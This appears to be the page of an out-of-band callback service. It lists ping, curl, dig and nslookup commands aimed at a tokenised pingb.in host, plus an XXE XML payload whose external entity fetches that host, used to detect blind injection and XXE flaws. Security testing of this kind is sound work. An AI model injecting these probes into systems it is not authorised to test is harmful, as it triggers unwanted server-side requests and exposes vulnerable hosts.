$ ping -c1 -p 00fd4985c6c82eaca49f0259ec609500 pingb.in
 
$ curl pingb.in/p/fd4985c6c82eaca49f0259ec6095
 
$ dig fd4985c6c82eaca49f0259ec6095 @pingb.in
 
$ dig fd4985c6c82eaca49f0259ec6095.ns.pingb.in
 
C:\> nslookup fd4985c6c82eaca49f0259ec6095 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/fd4985c6c82eaca49f0259ec6095">]>
    <foo>&xxe;</foo>
 
Waiting for ping...